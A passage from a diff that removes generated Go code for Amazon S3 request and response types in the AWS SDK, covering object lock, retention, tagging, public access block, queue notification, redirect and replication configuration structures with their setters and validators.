1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutObjectLockConfigurationInput) SetBucket(v string) *PutObjectLockConfigurationInput { - s.Bucket = &v - return s -} - -func (s *PutObjectLockConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetObjectLockConfiguration sets the ObjectLockConfiguration field's value. -func (s *PutObjectLockConfigurationInput) SetObjectLockConfiguration(v *ObjectLockConfiguration) *PutObjectLockConfigurationInput { - s.ObjectLockConfiguration = v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *PutObjectLockConfigurationInput) SetRequestPayer(v string) *PutObjectLockConfigurationInput { - s.RequestPayer = &v - return s -} - -// SetToken sets the Token field's value. -func (s *PutObjectLockConfigurationInput) SetToken(v string) *PutObjectLockConfigurationInput { - s.Token = &v - return s -} - -type PutObjectLockConfigurationOutput struct { - _ struct{} `type:"structure"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` -} - -// String returns the string representation -func (s PutObjectLockConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectLockConfigurationOutput) GoString() string { - return s.String() -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *PutObjectLockConfigurationOutput) SetRequestCharged(v string) *PutObjectLockConfigurationOutput { - s.RequestCharged = &v - return s -} - -type PutObjectOutput struct { - _ struct{} `type:"structure"` - - // Entity tag for the uploaded object. - ETag *string `location:"header" locationName:"ETag" type:"string"` - - // If the object expiration is configured, this will contain the expiration - // date (expiry-date) and rule ID (rule-id). The value of rule-id is URL encoded. - Expiration *string `location:"header" locationName:"x-amz-expiration" type:"string"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header confirming the encryption algorithm - // used. - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header to provide round trip message integrity - // verification of the customer-provided encryption key. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // If present, specifies the ID of the AWS Key Management Service (KMS) master - // encryption key that was used for the object. - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - // Version of the object. - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` -} - -// String returns the string representation -func (s PutObjectOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectOutput) GoString() string { - return s.String() -} - -// SetETag sets the ETag field's value. -func (s *PutObjectOutput) SetETag(v string) *PutObjectOutput { - s.ETag = &v - return s -} - -// SetExpiration sets the Expiration field's value. -func (s *PutObjectOutput) SetExpiration(v string) *PutObjectOutput { - s.Expiration = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *PutObjectOutput) SetRequestCharged(v string) *PutObjectOutput { - s.RequestCharged = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *PutObjectOutput) SetSSECustomerAlgorithm(v string) *PutObjectOutput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *PutObjectOutput) SetSSECustomerKeyMD5(v string) *PutObjectOutput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *PutObjectOutput) SetSSEKMSKeyId(v string) *PutObjectOutput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *PutObjectOutput) SetServerSideEncryption(v string) *PutObjectOutput { - s.ServerSideEncryption = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *PutObjectOutput) SetVersionId(v string) *PutObjectOutput { - s.VersionId = &v - return s -} - -type PutObjectRetentionInput struct { - _ struct{} `type:"structure" payload:"Retention"` - - // The bucket that contains the object you want to apply this Object Retention - // configuration to. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Indicates whether this operation should bypass Governance-mode restrictions.j - BypassGovernanceRetention *bool `location:"header" locationName:"x-amz-bypass-governance-retention" type:"boolean"` - - // The key name for the object that you want to apply this Object Retention - // configuration to. - // - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // The container element for the Object Retention configuration. - Retention *ObjectLockRetention `locationName:"Retention" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // The version ID for the object that you want to apply this Object Retention - // configuration to. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s PutObjectRetentionInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectRetentionInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutObjectRetentionInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutObjectRetentionInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutObjectRetentionInput) SetBucket(v string) *PutObjectRetentionInput { - s.Bucket = &v - return s -} - -func (s *PutObjectRetentionInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetBypassGovernanceRetention sets the BypassGovernanceRetention field's value. -func (s *PutObjectRetentionInput) SetBypassGovernanceRetention(v bool) *PutObjectRetentionInput { - s.BypassGovernanceRetention = &v - return s -} - -// SetKey sets the Key field's value. -func (s *PutObjectRetentionInput) SetKey(v string) *PutObjectRetentionInput { - s.Key = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *PutObjectRetentionInput) SetRequestPayer(v string) *PutObjectRetentionInput { - s.RequestPayer = &v - return s -} - -// SetRetention sets the Retention field's value. -func (s *PutObjectRetentionInput) SetRetention(v *ObjectLockRetention) *PutObjectRetentionInput { - s.Retention = v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *PutObjectRetentionInput) SetVersionId(v string) *PutObjectRetentionInput { - s.VersionId = &v - return s -} - -type PutObjectRetentionOutput struct { - _ struct{} `type:"structure"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` -} - -// String returns the string representation -func (s PutObjectRetentionOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectRetentionOutput) GoString() string { - return s.String() -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *PutObjectRetentionOutput) SetRequestCharged(v string) *PutObjectRetentionOutput { - s.RequestCharged = &v - return s -} - -type PutObjectTaggingInput struct { - _ struct{} `type:"structure" payload:"Tagging"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Tagging is a required field - Tagging *Tagging `locationName:"Tagging" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s PutObjectTaggingInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectTaggingInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutObjectTaggingInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutObjectTaggingInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.Tagging == nil { - invalidParams.Add(request.NewErrParamRequired("Tagging")) - } - if s.Tagging != nil { - if err := s.Tagging.Validate(); err != nil { - invalidParams.AddNested("Tagging", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutObjectTaggingInput) SetBucket(v string) *PutObjectTaggingInput { - s.Bucket = &v - return s -} - -func (s *PutObjectTaggingInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *PutObjectTaggingInput) SetKey(v string) *PutObjectTaggingInput { - s.Key = &v - return s -} - -// SetTagging sets the Tagging field's value. -func (s *PutObjectTaggingInput) SetTagging(v *Tagging) *PutObjectTaggingInput { - s.Tagging = v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *PutObjectTaggingInput) SetVersionId(v string) *PutObjectTaggingInput { - s.VersionId = &v - return s -} - -type PutObjectTaggingOutput struct { - _ struct{} `type:"structure"` - - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` -} - -// String returns the string representation -func (s PutObjectTaggingOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutObjectTaggingOutput) GoString() string { - return s.String() -} - -// SetVersionId sets the VersionId field's value. -func (s *PutObjectTaggingOutput) SetVersionId(v string) *PutObjectTaggingOutput { - s.VersionId = &v - return s -} - -type PutPublicAccessBlockInput struct { - _ struct{} `type:"structure" payload:"PublicAccessBlockConfiguration"` - - // The name of the Amazon S3 bucket whose PublicAccessBlock configuration you - // want to set. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The PublicAccessBlock configuration that you want to apply to this Amazon - // S3 bucket. You can enable the configuration options in any combination. For - // more information about when Amazon S3 considers a bucket or object public, - // see The Meaning of "Public" (https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html#access-control-block-public-access-policy-status) - // in the Amazon Simple Storage Service Developer Guide. - // - // PublicAccessBlockConfiguration is a required field - PublicAccessBlockConfiguration *PublicAccessBlockConfiguration `locationName:"PublicAccessBlockConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutPublicAccessBlockInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutPublicAccessBlockInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutPublicAccessBlockInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutPublicAccessBlockInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.PublicAccessBlockConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("PublicAccessBlockConfiguration")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutPublicAccessBlockInput) SetBucket(v string) *PutPublicAccessBlockInput { - s.Bucket = &v - return s -} - -func (s *PutPublicAccessBlockInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetPublicAccessBlockConfiguration sets the PublicAccessBlockConfiguration field's value. -func (s *PutPublicAccessBlockInput) SetPublicAccessBlockConfiguration(v *PublicAccessBlockConfiguration) *PutPublicAccessBlockInput { - s.PublicAccessBlockConfiguration = v - return s -} - -type PutPublicAccessBlockOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutPublicAccessBlockOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutPublicAccessBlockOutput) GoString() string { - return s.String() -} - -// A container for specifying the configuration for publication of messages -// to an Amazon Simple Queue Service (Amazon SQS) queue.when Amazon S3 detects -// specified events. -type QueueConfiguration struct { - _ struct{} `type:"structure"` - - // Events is a required field - Events []*string `locationName:"Event" type:"list" flattened:"true" required:"true"` - - // A container for object key name filtering rules. For information about key - // name filtering, see Configuring Event Notifications (https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html) - // in the Amazon Simple Storage Service Developer Guide. - Filter *NotificationConfigurationFilter `type:"structure"` - - // An optional unique identifier for configurations in a notification configuration. - // If you don't provide one, Amazon S3 will assign an ID. - Id *string `type:"string"` - - // The Amazon Resource Name (ARN) of the Amazon SQS queue to which Amazon S3 - // will publish a message when it detects events of the specified type. - // - // QueueArn is a required field - QueueArn *string `locationName:"Queue" type:"string" required:"true"` -} - -// String returns the string representation -func (s QueueConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s QueueConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *QueueConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "QueueConfiguration"} - if s.Events == nil { - invalidParams.Add(request.NewErrParamRequired("Events")) - } - if s.QueueArn == nil { - invalidParams.Add(request.NewErrParamRequired("QueueArn")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetEvents sets the Events field's value. -func (s *QueueConfiguration) SetEvents(v []*string) *QueueConfiguration { - s.Events = v - return s -} - -// SetFilter sets the Filter field's value. -func (s *QueueConfiguration) SetFilter(v *NotificationConfigurationFilter) *QueueConfiguration { - s.Filter = v - return s -} - -// SetId sets the Id field's value. -func (s *QueueConfiguration) SetId(v string) *QueueConfiguration { - s.Id = &v - return s -} - -// SetQueueArn sets the QueueArn field's value. -func (s *QueueConfiguration) SetQueueArn(v string) *QueueConfiguration { - s.QueueArn = &v - return s -} - -type QueueConfigurationDeprecated struct { - _ struct{} `type:"structure"` - - // The bucket event for which to send notifications. - // - // Deprecated: Event has been deprecated - Event *string `deprecated:"true" type:"string" enum:"Event"` - - Events []*string `locationName:"Event" type:"list" flattened:"true"` - - // An optional unique identifier for configurations in a notification configuration. - // If you don't provide one, Amazon S3 will assign an ID. - Id *string `type:"string"` - - Queue *string `type:"string"` -} - -// String returns the string representation -func (s QueueConfigurationDeprecated) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s QueueConfigurationDeprecated) GoString() string { - return s.String() -} - -// SetEvent sets the Event field's value. -func (s *QueueConfigurationDeprecated) SetEvent(v string) *QueueConfigurationDeprecated { - s.Event = &v - return s -} - -// SetEvents sets the Events field's value. -func (s *QueueConfigurationDeprecated) SetEvents(v []*string) *QueueConfigurationDeprecated { - s.Events = v - return s -} - -// SetId sets the Id field's value. -func (s *QueueConfigurationDeprecated) SetId(v string) *QueueConfigurationDeprecated { - s.Id = &v - return s -} - -// SetQueue sets the Queue field's value. -func (s *QueueConfigurationDeprecated) SetQueue(v string) *QueueConfigurationDeprecated { - s.Queue = &v - return s -} - -type RecordsEvent struct { - _ struct{} `locationName:"RecordsEvent" type:"structure" payload:"Payload"` - - // The byte array of partial, one or more result records. - // - // Payload is automatically base64 encoded/decoded by the SDK. - Payload []byte `type:"blob"` -} - -// String returns the string representation -func (s RecordsEvent) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s RecordsEvent) GoString() string { - return s.String() -} - -// SetPayload sets the Payload field's value. -func (s *RecordsEvent) SetPayload(v []byte) *RecordsEvent { - s.Payload = v - return s -} - -// The RecordsEvent is and event in the SelectObjectContentEventStream group of events. -func (s *RecordsEvent) eventSelectObjectContentEventStream() {} - -// UnmarshalEvent unmarshals the EventStream Message into the RecordsEvent value. -// This method is only used internally within the SDK's EventStream handling. -func (s *RecordsEvent) UnmarshalEvent( - payloadUnmarshaler protocol.PayloadUnmarshaler, - msg eventstream.Message, -) error { - s.Payload = make([]byte, len(msg.Payload)) - copy(s.Payload, msg.Payload) - return nil -} - -type Redirect struct { - _ struct{} `type:"structure"` - - // The host name to use in the redirect request. - HostName *string `type:"string"` - - // The HTTP redirect code to use on the response. Not required if one of the - // siblings is present. - HttpRedirectCode *string `type:"string"` - - // Protocol to use (http, https) when redirecting requests. The default is the - // protocol that is used in the original request. - Protocol *string `type:"string" enum:"Protocol"` - - // The object key prefix to use in the redirect request. For example, to redirect - // requests for all pages with prefix docs/ (objects in the docs/ folder) to - // documents/, you can set a condition block with KeyPrefixEquals set to docs/ - // and in the Redirect set ReplaceKeyPrefixWith to /documents. Not required - // if one of the siblings is present. Can be present only if ReplaceKeyWith - // is not provided. - ReplaceKeyPrefixWith *string `type:"string"` - - // The specific object key to use in the redirect request. For example, redirect - // request to error.html. Not required if one of the sibling is present. Can - // be present only if ReplaceKeyPrefixWith is not provided. - ReplaceKeyWith *string `type:"string"` -} - -// String returns the string representation -func (s Redirect) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Redirect) GoString() string { - return s.String() -} - -// SetHostName sets the HostName field's value. -func (s *Redirect) SetHostName(v string) *Redirect { - s.HostName = &v - return s -} - -// SetHttpRedirectCode sets the HttpRedirectCode field's value. -func (s *Redirect) SetHttpRedirectCode(v string) *Redirect { - s.HttpRedirectCode = &v - return s -} - -// SetProtocol sets the Protocol field's value. -func (s *Redirect) SetProtocol(v string) *Redirect { - s.Protocol = &v - return s -} - -// SetReplaceKeyPrefixWith sets the ReplaceKeyPrefixWith field's value. -func (s *Redirect) SetReplaceKeyPrefixWith(v string) *Redirect { - s.ReplaceKeyPrefixWith = &v - return s -} - -// SetReplaceKeyWith sets the ReplaceKeyWith field's value. -func (s *Redirect) SetReplaceKeyWith(v string) *Redirect { - s.ReplaceKeyWith = &v - return s -} - -type RedirectAllRequestsTo struct { - _ struct{} `type:"structure"` - - // Name of the host where requests will be redirected. - // - // HostName is a required field - HostName *string `type:"string" required:"true"` - - // Protocol to use (http, https) when redirecting requests. The default is the - // protocol that is used in the original request. - Protocol *string `type:"string" enum:"Protocol"` -} - -// String returns the string representation -func (s RedirectAllRequestsTo) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s RedirectAllRequestsTo) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *RedirectAllRequestsTo) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "RedirectAllRequestsTo"} - if s.HostName == nil { - invalidParams.Add(request.NewErrParamRequired("HostName")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetHostName sets the HostName field's value. -func (s *RedirectAllRequestsTo) SetHostName(v string) *RedirectAllRequestsTo { - s.HostName = &v - return s -} - -// SetProtocol sets the Protocol field's value. -func (s *RedirectAllRequestsTo) SetProtocol(v string) *RedirectAllRequestsTo { - s.Protocol = &v - return s -} - -// A container for replication rules. You can add up to 1,000 rules. The maximum -// size of a replication configuration is 2 MB. -type ReplicationConfiguration struct { - _ struct{} `type:"structure"` - - // The Amazon Resource Name (ARN) of the AWS Identity and Access Management - // (IAM) role that Amazon S3 can assume when replicating the objects. - // - // Role is a required field - Role *string `type:"string" required:"true"` - - // A container for one or more replication rules. A replication configuration - // must have at least one rule and can contain a maximum of 1,000 rules. - // - // Rules is a required field - Rules []*ReplicationRule `locationName:"Rule" type:"list" flattened:"true" required:"true"` -} - -// String returns the string representation -func (s ReplicationConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ReplicationConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ReplicationConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ReplicationConfiguration"} - if s.Role == nil { - invalidParams.Add(request.NewErrParamRequired("Role")) - } - if s.Rules == nil { - invalidParams.Add(request.NewErrParamRequired("Rules")) - } - if s.Rules != nil { - for i, v := range s.Rules { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Rules", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetRole sets the Role field's value. -func (s *ReplicationConfiguration) SetRole(v string) *ReplicationConfiguration { - s.Role = &v - return s -} - -// SetRules sets the Rules field's value. -func (s *ReplicationConfiguration) SetRules(v []*ReplicationRule) *ReplicationConfiguration { - s.Rules = v - return s -} - -// A container for information about a specific replication rule. -type ReplicationRule struct { - _ struct{} `type:"structure"` - - // Specifies whether Amazon S3 should replicate delete makers. - DeleteMarkerReplication *DeleteMarkerReplication `type:"structure"` - - // A container for information about the replication destination. - // - // Destination is a required field - Destination *Destination `type:"structure" required:"true"` - - // A filter that identifies the subset of objects to which the replication rule - // applies. A Filter must specify exactly one Prefix, Tag, or an And child element. - Filter *ReplicationRuleFilter `type:"structure"` - - // A unique identifier for the rule. The maximum value is 255 characters. - ID *string `type:"string"` - - // An object keyname prefix that identifies the object or objects to which the - // rule applies. The maximum prefix length is 1,024 characters. - // - // Deprecated: Prefix has been deprecated - Prefix *string `deprecated:"true" type:"string"` - - // The priority associated with the rule. If you specify multiple rules in a - // replication configuration, Amazon S3 prioritizes the rules to prevent conflicts - // when filtering. If two or more rules identify the same object based on a - // specified filter, the rule with higher priority takes precedence. For example: - // - // * Same object quality prefix based filter criteria If prefixes you specified - // in multiple rules overlap - // - // * Same object qualify tag based filter criteria specified in multiple - // rules - // - // For more information, see Cross-Region Replication (CRR) ( https://docs.aws.amazon.com/AmazonS3/latest/dev/crr.html) - // in the Amazon S3 Developer Guide. - Priority *int64 `type:"integer"` - - // A container that describes additional filters for identifying the source - // objects that you want to replicate. You can choose to enable or disable the - // replication of these objects. Currently, Amazon S3 supports only the filter - // that you can specify for objects created with server-side encryption using - // an AWS KMS-Managed Key (SSE-KMS). - // - // If you want Amazon S3 to replicate objects created with server-side encryption - // using AWS KMS-Managed Keys. - SourceSelectionCriteria *SourceSelectionCriteria `type:"structure"` - - // If status isn't enabled, the rule is ignored. - // - // Status is a required field - Status *string `type:"string" required:"true" enum:"ReplicationRuleStatus"` -} - -// String returns the string representation -func (s ReplicationRule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ReplicationRule) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ReplicationRule) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ReplicationRule"} - if s.Destination == nil { - invalidParams.Add(request.NewErrParamRequired("Destination")) - } - if s.Status == nil { - invalidParams.Add(request.NewErrParamRequired("Status")) - } - if s.Destination != nil { - if err := s.Destination.Validate(); err != nil { - invalidParams.AddNested("Destination", err.(request.ErrInvalidParams)) - } - } - if s.Filter != nil { - if err := s.Filter.Validate(); err != nil { - invalidParams.AddNested("Filter", err.(request.ErrInvalidParams)) - } - } - if s.SourceSelectionCriteria != nil { - if err := s.SourceSelectionCriteria.Validate(); err != nil { - invalidParams.AddNested("SourceSelectionCriteria", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDeleteMarkerReplication sets the DeleteMarkerReplication field's value. -func (s *ReplicationRule) SetDeleteMarkerReplication(v *DeleteMarkerReplication) *ReplicationRule { - s.DeleteMarkerReplication = v - return s -} - -// SetDestination sets the Destination field's value. -func (s *ReplicationRule) SetDestination(v *Destination) *ReplicationRule { - s.Destination = v - return s -} - -// SetFilter sets the Filter field's value. -func (s *ReplicationRule) SetFilter(v *ReplicationRuleFilter) *ReplicationRule { - s.Filter = v - return s -} - -// SetID sets the ID field's value. -func (s *ReplicationRule) SetID(v string) *ReplicationRule { - s.ID = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ReplicationRule) SetPrefix(v string) *ReplicationRule { - s.Prefix = &v - return s -} - -// SetPriority sets the Priority field's value. -func (s *ReplicationRule) SetPriority(v int64) *ReplicationRule { - s.Priority = &v - return s -} - -// SetSourceSelectionCriteria sets the SourceSelectionCriteria field's value. -func (s *ReplicationRule) SetSourceSelectionCriteria(v *SourceSelectionCriteria) *ReplicationRule { - s.SourceSelectionCriteria = v - return s -} - -// SetStatus sets the Status field's value. -func (s *ReplicationRule) SetStatus(v string) *ReplicationRule { - s.Status = &v - return s -} - -type ReplicationRuleAndOperator struct { - _ struct{} `type:"structure"` - - Prefix *string `type:"string"` - - Tags []*Tag `locationName:"Tag" locationNameList:"Tag" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s ReplicationRuleAndOperator) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ReplicationRuleAndOperator) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ReplicationRuleAndOperator) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ReplicationRuleAndOperator"} - if s.Tags != nil { - for i, v := range s.Tags { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Tags", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetPrefix sets the Prefix field's value. -func (s *ReplicationRuleAndOperator) SetPrefix(v string) *ReplicationRuleAndOperator { - s.Prefix = &v - return s -} - -// SetTags sets the Tags field's value. -func (s *ReplicationRuleAndOperator) SetTags(v []*Tag) *ReplicationRuleAndOperator { - s.Tags = v - return s -} - -// A filter that identifies the subset of objects to which the replication rule -// applies. A Filter must specify exactly one Prefix, Tag, or an And child element. -type ReplicationRuleFilter struct { - _ struct{} `type:"structure"` - - // A container for specifying rule filters. The filters determine the subset - // of objects to which the rule applies. This element is required only if you - // specify more than one filter. For example: - // - // * If you specify both a Prefix and a Tag filter, wrap these filters in - // an And tag. - // - // * If you specify a filter based on multiple tags, wrap the Tag elements - // in an And tag. - And *ReplicationRuleAndOperator `type:"structure"` - - // An object keyname prefix that identifies the subset of objects to which the - // rule applies. - Prefix *string `type:"string"` - - // A container for specifying a tag key and value. - // - // The rule applies only to objects that have the tag in their tag set. - Tag *Tag `type:"structure"` -} - -// String returns the string representation -func (s ReplicationRuleFilter) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ReplicationRuleFilter) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ReplicationRuleFilter) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ReplicationRuleFilter"} - if s.And != nil { - if err := s.And.Validate(); err != nil { - invalidParams.AddNested("And", err.(request.ErrInvalidParams)) - } - } - if s.Tag != nil { - if err := s.Tag.Validate(); err != nil { - invalidParams.AddNested("Tag", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAnd sets the And field's value. -func (s *ReplicationRuleFilter) SetAnd(v *ReplicationRuleAndOperator) *ReplicationRuleFilter { - s.And = v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ReplicationRuleFilter) SetPrefix(v string) *ReplicationRuleFilter { - s.Prefix = &v - return s -} - -// SetTag sets the Tag field's value. -func (s *ReplicationRuleFilter) SetTag(v *Tag) *ReplicationRuleFilter { - s.Tag = v - return s -} - -type RequestPaymentConfiguration struct { - _ struct{} `type:"structure"` - - // Specifies who pays for the download and request fees. - // - // Payer is a required field - Payer *string `type:"string" required:"true" enum:"Payer"` -} - -// String returns the string representation -func (s RequestPaymentConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s RequestPaymentConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *RequestPaymentConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "RequestPaymentConfiguration"} - if s.Payer == nil { - invalidParams.Add(request.NewErrParamRequired("Payer")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetPayer sets the Payer field's value. -func (s *RequestPaymentConfiguration) SetPayer(v string) *RequestPaymentConfiguration { - s.Payer = &v - return s -} - -type RequestProgress struct { - _ struct{} `type:"structure"` - - // Specifies whether periodic QueryProgress frames should be sent. Valid values: - // TRUE, FALSE. Default value: FALSE. - Enabled *bool `type:"boolean"` -} - -// String returns the string representation -func (s RequestProgress) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s RequestProgress) GoString() string { - return s.String() -} - -// SetEnabled sets the Enabled field's value. -func (s *RequestProgress) SetEnabled(v bool) *RequestProgress { - s.Enabled = &v - return s -} - -type RestoreObjectInput struct { - _ struct{} `type:"structure" payload:"RestoreRequest"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. 